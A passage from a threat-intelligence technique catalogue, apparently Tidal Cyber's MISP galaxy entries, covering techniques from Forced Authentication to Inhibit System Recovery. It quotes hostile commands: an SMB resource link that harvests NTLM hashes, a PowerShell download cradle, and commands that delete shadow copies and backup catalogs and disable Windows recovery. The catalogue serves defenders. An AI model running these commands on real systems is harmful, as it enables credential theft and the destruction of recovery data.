Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://app.tidalcyber.com/technique/02b8e7c1-0db7-43f5-a5bc-531b30395122)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. ^{[[GitHub Hashjacking](https://app.tidalcyber.com/references/d31f6612-c552-45e1-bf6b-889fe619ab5f)]} With access to the credential hash, an adversary can perform off-line [Brute Force](https://app.tidalcyber.com/technique/c16eef78-232e-47a2-98e9-046ec075b13c) cracking to gain access to plaintext credentials. ^{[[Cylance Redirect to SMB](https://app.tidalcyber.com/references/32c7626a-b284-424c-8294-7fac37e71336)]}

There are several different ways this can occur. ^{[[Osanda Stealing NetNTLM Hashes](https://app.tidalcyber.com/references/991f885e-b3f4-4f3f-b0f9-c9862f918f36)]} Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://app.tidalcyber.com/technique/02b8e7c1-0db7-43f5-a5bc-531b30395122)). The document can include, for example, a request

similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. ^{[[US-CERT APT Energy Oct 2017](https://app.tidalcyber.com/references/e34ddf0a-a112-4557-ac09-1ff540241a89)]}

- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. ^{[[US-CERT APT Energy Oct 2017](https://app.tidalcyber.com/references/e34ddf0a-a112-4557-ac09-1ff540241a89)]}

The tag is: *misp-galaxy:technique="Forced Authentication"*

Forge Web Credentials

Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://app.tidalcyber.com/technique/17f9e46d-4e3d-4491-a0d9-0cc042531d6e), [Steal Application Access Token](https://app.tidalcyber.com/technique/f78f2c87-626a-468f-93a5-31b61be17727), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://app.tidalcyber.com/technique/e493bf4a-0eba-4e60-a7a6-c699084dc98a), or other cryptographic seed values.^{[[GitHub AWS-ADFS-Credential-Generator](https://app.tidalcyber.com/references/340a3a20-0ee1-4fd8-87ab-10ac0d2a50c8)]} Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://app.tidalcyber.com/technique/448dc009-2d3f-5480-aba3-0d80dc4336cd)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.^{[[AWS Temporary Security Credentials](https://app.tidalcyber.com/references/c6f29134-5af2-42e1-af4f-fbb9eae03432)]}^{[[Zimbra Preauth](https://app.tidalcyber.com/references/f8931e8d-9a03-5407-857a-2a1c5a895eed)]}

Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://app.tidalcyber.com/technique/28f65214-95c1-4a72-b385-0b32cbcaea8f)), which may bypass multi-factor and other authentication protection mechanisms.^{[[Pass The Cookie](https://app.tidalcyber.com/references/dc67930f-5c7b-41be-97e9-d8f4a55e6019)]}^{[[Unit 42 Mac Crypto Cookies January 2019](https://app.tidalcyber.com/references/0a88e730-8ed2-4983-8f11-2cb2e4abfe3e)]}^{[[Microsoft SolarWinds Customer Guidance](https://app.tidalcyber.com/references/b486ae40-a854-4998-bf1b-aaf6ea2047ed)]}

The tag is: *misp-galaxy:technique="Forge Web Credentials"*

Gather Victim Host Information

Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.^{[[ATT ScanBox](https://app.tidalcyber.com/references/48753fc9-b7b7-465f-92a7-fb3f51b032cb)]} Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://app.tidalcyber.com/technique/d97c3d34-1210-4c71-b305-59dcccab8f45) or [Search Victim-Owned Websites](https://app.tidalcyber.com/technique/c55c0462-d59f-4bd8-9728-05cf711917b0)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70) or [Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)), and/or initial access (ex: [Supply Chain Compromise](https://app.tidalcyber.com/technique/b72c8a96-5e03-40c2-ac0c-f77b73fe493f) or [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4)).

Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary's follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.^{[[TrellixQakbot](https://app.tidalcyber.com/references/c07a87bd-be9d-5bd9-b59a-d89f0e835886)]}

The tag is: *misp-galaxy:technique="Gather Victim Host Information"*

Gather Victim Identity Information

Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.<sup>[[GrimBlog

UsernameEnum](https://app.tidalcyber.com/references/cab25908-63da-484d-8c42-4451f46086e2)]</sup>^{[[Obsidian SSPR Abuse 2023](https://app.tidalcyber.com/references/7f28f770-ef06-5923-b759-b731ceabe08a)]} Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://app.tidalcyber.com/technique/d97c3d34-1210-4c71-b305-59dcccab8f45) or [Search Victim-Owned Websites]([OPM Leak (https://app.tidalcyber.com/references/b67ed4e9-ed44-460a-bd59-c978bdfda32f)]</sup>^{[[Register Deloitte](https://app.tidalcyber.com/references/e6b10687-8666-4c9c-ac77-1988378e096d)]}^{[[Register Uber](https://app.tidalcyber.com/references/89b85928-a962-4230-875c-63742b3c9d37)]}^{[[Detectify Slack Tokens](https://app.tidalcyber.com/references/46c40ed4-5a15-4b38-b625-bebc569dbf69)]}^{[[Forbes GitHub Creds](https://app.tidalcyber.com/references/303f8801-bdd6-4a0c-a90a-37867898c99c)]}^{[[GitHub truffleHog](https://app.tidalcyber.com/references/324a563f-55ee-49e9-9fc7-2b8e35f36875)]}^{[[GitHub Gitrob](https://app.tidalcyber.com/references/1dee0842-15cc-4835-b8a8-938e0c94807b)]}^{[[CNET Leaks](https://app.tidalcyber.com/references/46df3a49-e7c4-4169-b35c-0aecc78c31ea)]}

Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6) or [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06)), establishing operational resources (ex: [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) or [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406)).

The tag is: *misp-galaxy:technique="Gather Victim Identity Information"*

Gather Victim Network Information

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases]([WHOIS (https://app.tidalcyber.com/references/fa6cba30-66e9-4a6b-85e8-a8c3773a3efe)]</sup>^{[[DNS Dumpster](https://app.tidalcyber.com/references/0bbe1e50-28af-4265-a493-4bb4fd693bad)]}^{[[Circl Passive DNS](https://app.tidalcyber.com/references/c19f8683-97fb-4e0c-a9f5-12033b1d38ca)]} Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) or [Compromise

Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d)), and/or initial access (ex: [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf)).

The tag is: *misp-galaxy:technique="Gather Victim Network Information"*

Gather Victim Org Information

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://app.tidalcyber.com/technique/d97c3d34-1210-4c71-b305-59dcccab8f45) or [Search Victim-Owned Websites]([ThreatPost Broadvoice Leak (https://app.tidalcyber.com/references/91d20979-d4e7-4372-8a83-1e1512c8d3a9)]</sup>^{[[SEC EDGAR Search](https://app.tidalcyber.com/references/97958143-80c5-41f6-9fa6-4748e90e9f12)]} Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) or [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf)).

The tag is: *misp-galaxy:technique="Gather Victim Org Information"*

Group Policy Discovery

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.^{[[TechNet Group Policy Basics](https://app.tidalcyber.com/references/9b9c8c6c-c272-424e-a594-a34b7bf62477)]}^{[[ADSecurity GPO Persistence 2016](https://app.tidalcyber.com/references/e304715f-7da1-4342-ba5b-d0387d93aeb2)]}

Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.<sup>[[Microsoft gpresult](https://app.tidalcyber.com/references/88af38e8-e437-4153-80af-

a1be8c6a8629)]</sup>^{[[Github PowerShell Empire](https://app.tidalcyber.com/references/017ec673-454c-492a-a65b-10d3a20dfdab)]} Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://app.tidalcyber.com/technique/d092a9e1-63d0-415d-8cd0-666a261be5d9)) for their benefit.

The tag is: *misp-galaxy:technique="Group Policy Discovery"*

Hardware Additions

Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://app.tidalcyber.com/technique/6a7ab25e-49ed-4cd3-b199-5d80b728b416)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.

While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.^{[[Ossmann Star Feb 2011](https://app.tidalcyber.com/references/1be27354-1326-4568-b26a-d0034acecba2)]}^{[[Aleks Weapons Nov 2015](https://app.tidalcyber.com/references/fd22c941-b0dc-4420-b363-2f5777981041)]}^{[[Frisk DMA August 2016](https://app.tidalcyber.com/references/c504485b-2daa-4159-96da-481a0b97a979)]}^{[[McMillan Pwn March 2012](https://app.tidalcyber.com/references/6b57e883-75a1-4a71-accc-2d18148b9c3d)]}

The tag is: *misp-galaxy:technique="Hardware Additions"*

Hide Artifacts

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.^{[[Sofacy Komplex Trojan](https://app.tidalcyber.com/references/a21be45e-26c3-446d-b336-b58d08df5749)]}^{[[Cybereason OSX Pirrit](https://app.tidalcyber.com/references/ebdf09ed-6eec-450f-aaea-067504ec25ca)]}^{[[MalwareBytes ADS July 2015](https://app.tidalcyber.com/references/b552cf89-1880-48de-9088-c755c38821c1)]}

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.<sup>[[Sophos Ragnar May 2020](https://app.tidalcyber.com/

references/04ed6dc0-45c2-4e36-8ec7-a75f6f715f0a)]</sup>

The tag is: *misp-galaxy:technique="Hide Artifacts"*

Hide Infrastructure

Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,^{[[TA571](https://app.tidalcyber.com/references/5b463ad7-f425-5e70-b0b0-28514730a888)]} masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,^{[[Schema-abuse](https://app.tidalcyber.com/references/75b860d9-a48d-57de-ba1e-b0db970abb1b)]}^{[[Facad1ng](https://app.tidalcyber.com/references/bd80f3d7-e653-5f8f-ba8a-00b8780ae935)]}^{[[Browser-updates](https://app.tidalcyber.com/references/89e913a8-1d52-53fe-b692-fb72e21d794f)]} and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.

C2 networks may include the use of [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.^{[[sysdig](https://app.tidalcyber.com/references/80cb54c2-2c44-5e19-bbc5-da9f4aaf976a)]}^{[[Orange Residential Proxies](https://app.tidalcyber.com/references/df4b99f3-1796-57b3-a352-37be5380badc)]}

Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.^{[[mod_rewrite](https://app.tidalcyber.com/references/3568b09c-7368-5fc2-85b3-d16ee9b9c686)]}^{[[SocGholish-update](https://app.tidalcyber.com/references/01d9c3ba-29e2-5090-b399-0e7adf50a6b9)]} Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion]([TA571](https://app.tidalcyber.com/references/5b463ad7-f425-5e70-b0b0-28514730a888)]</sup>^{[[mod_rewrite](https://app.tidalcyber.com/references/3568b09c-7368-5fc2-85b3-d16ee9b9c686)]}

Hiding C2 infrastructure may also be supported by [Resource Development](https://app.tidalcyber.com/tactics/989d09c2-12b8-4419-9b34-a328cf295fff) activities such as [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) and [Compromise Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.^{[[StarBlizzard](https://app.tidalcyber.com/references/68b16960-1893-51a1-b46c-974a09d4a0c4)]}^{[[QR-cofense](https://app.tidalcyber.com/references/eda8270f-c76f-5d01-b45f-74246945ec50)]}

The tag is: *misp-galaxy:technique="Hide Infrastructure"*

Hijack Execution Flow

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

The tag is: *misp-galaxy:technique="Hijack Execution Flow"*

Impair Defenses

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.^{[[Google Cloud Mandiant UNC3886 2024](https://app.tidalcyber.com/references/77b32efe-b936-5541-b0fb-aa442a7d11b7)]}^{[[Emotet shutdown](https://app.tidalcyber.com/references/02e6c7bf-f81c-53a3-b771-fd77d4cdb5a0)]}

The tag is: *misp-galaxy:technique="Impair Defenses"*

Impersonation

Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06), [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533), or [Internal Spearphishing](https://app.tidalcyber.com/technique/4f4ea659-7653-4bfd-a525-b2af32c5899b)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary's ultimate goals, possibly against multiple victims.

In many cases of business email compromise or email fraud campaigns, adversaries use

impersonation to defraud victims — deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://app.tidalcyber.com/technique/b9c9fd13-c10c-5e78-aeeb-ac18dc0605f9).

Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary's goal.

Impersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://app.tidalcyber.com/technique/aea36489-047e-4c4a-ab26-c51fd3556182) and [Gather Victim Org Information](https://app.tidalcyber.com/technique/e55d2e4b-07d8-4c22-b543-c187be320578) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://app.tidalcyber.com/technique/b9f5f6b7-ecff-48c8-a23e-c58fd9e41a0d)) to substantiate their false identity.^{[[CrowdStrike-BEC](https://app.tidalcyber.com/references/7e674a8d-e79f-5cb0-8ad2-a7678e647c6f)]}

There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3) targeting one organization which can then be used to support impersonation against other entities.^{[[VEC](https://app.tidalcyber.com/references/4fd7c9f7-4731-524a-b332-9cb7f2c025ae)]}

The tag is: *misp-galaxy:technique="Impersonation"*

Implant Internal Image

Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://app.tidalcyber.com/technique/8ecf5275-c6d1-4fe3-a24a-63fa1f3144fe), this technique focuses on adversaries implanting an image in a registry within a victim's environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.^{[[Rhino Labs Cloud Image Backdoor Technique Sept 2019](https://app.tidalcyber.com/references/8fb46ed8-0c21-4b57-b2a6-89cb28f0abaf)]}

A tool has been developed to facilitate planting backdoors in cloud container images.^{[[Rhino Labs Cloud Backdoor September 2019](https://app.tidalcyber.com/references/ac31b781-dbe4-49c2-b7af-dfb23d435ce8)]} If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell]([Rhino Labs Cloud Image Backdoor Technique Sept 2019(https://app.tidalcyber.com/references/8fb46ed8-0c21-4b57-b2a6-89cb28f0abaf)]</sup>

The tag is: *misp-galaxy:technique="Implant Internal Image"*

Indicator Removal

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary's actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:technique="Indicator Removal"*

Indirect Command Execution

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8). For example, [Forfiles](https://app.tidalcyber.com/software/c6dc67a6-587d-4700-a7de-bee043a0031a), the Program Compatibility Assistant (`pcalua.exe`), components of the Windows Subsystem for Linux (WSL), `Scriptrunner.exe`, as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), Run window, or via scripts.^{[[VectorSec ForFiles Aug 2017](https://app.tidalcyber.com/references/8088d15d-9512-4d12-a99a-c76ad9dc3390)]}^{[[Evi1cg Forfiles Nov 2017](https://app.tidalcyber.com/references/b292b85e-68eb-43c3-9b5b-222810e2f26a)]}^{[[Secure Team - Scriptrunner.exe](https://app.tidalcyber.com/references/930ca682-03e0-57e7-a1ec-5a3186f0ff64)]}^{[[SS64](https://app.tidalcyber.com/references/e96e1486-ae8a-5fb3-bb8b-a9f0bf22b488)]}^{[[Bleeping Computer - Scriptrunner.exe](https://app.tidalcyber.com/references/f7ab464d-255b-5d92-a878-c16c905c057b)]} Adversaries may also abuse the `ssh.exe` binary to execute malicious commands via the `ProxyCommand` and `LocalCommand` options, which can be invoked via the `-o` flag or by modifying the SSH config file.^{[[Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot](https://app.tidalcyber.com/references/fb04c74e-3323-50b7-9e3f-715e9dc57cc8)]}

Adversaries may abuse these features for [Defense Evasion](https://app.tidalcyber.com/tactics/8e29c6c9-0c10-4bb0-827d-ff0ab8922726), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) or file extensions more commonly associated with malicious payloads.

The tag is: *misp-galaxy:technique="Indirect Command Execution"*

Ingress Tool Transfer

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://app.tidalcyber.com/software/062deac9-8f05-44e2-b347-96b59ba166ca). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f)).

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043), and [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.^{[[t1105_lolbas](https://app.tidalcyber.com/references/80e649f5-6c74-4d66-a452-4f4cd51501da)]} A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).^{[[Google Cloud Threat Intelligence COSCMICENERGY 2023](https://app.tidalcyber.com/references/69f7cffb-a236-5ffa-9f96-3ffbd8c4f2d0)]}

Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://app.tidalcyber.com/technique/b84435ab-2ff4-4b6f-ba71-b4b815474872) (typically after interacting with [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) lures).^{[[T1105: Trellix_search-ms](https://app.tidalcyber.com/references/7079d170-9ead-5be4-bbc8-13c3f082b3dd)]}

Files can also be transferred using various [Web Service](https://app.tidalcyber.com/technique/a729feee-8e21-444e-8eea-2ec595b09931)s as well as native or otherwise present tools on the victim system.^{[[PTSecurity Cobalt Dec 2016](https://app.tidalcyber.com/references/2de4d38f-c99d-4149-89e6-0349a4902aa2)]} In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.^{[[Dropbox Malware Sync](https://app.tidalcyber.com/references/06ca63fa-8c6c-501c-96d3-5e7e45ca1e04)]}

The tag is: *misp-galaxy:technique="Ingress Tool Transfer"*

Inhibit System Recovery

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}<sup>[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/

34b15fe1-c550-4150-87bc-ac9662547247)]</sup> This may deny access to available backups and recovery options.

Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) and [Data Encrypted for Impact]([Talos Olympic Destroyer 2018(https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]</sup>^{[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]} Furthermore, adversaries may disable recovery notifications, then corrupt backups.^{[[disable_notif_synology_ransom](https://app.tidalcyber.com/references/d53e8f89-df78-565b-a316-cf2644c5ed36)]}

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>
- [Windows Management Instrumentation](https://app.tidalcyber.com/technique/c37795d9-8970-461f-9491-3086d6b4b69a) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>
- <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>
- <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
- <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
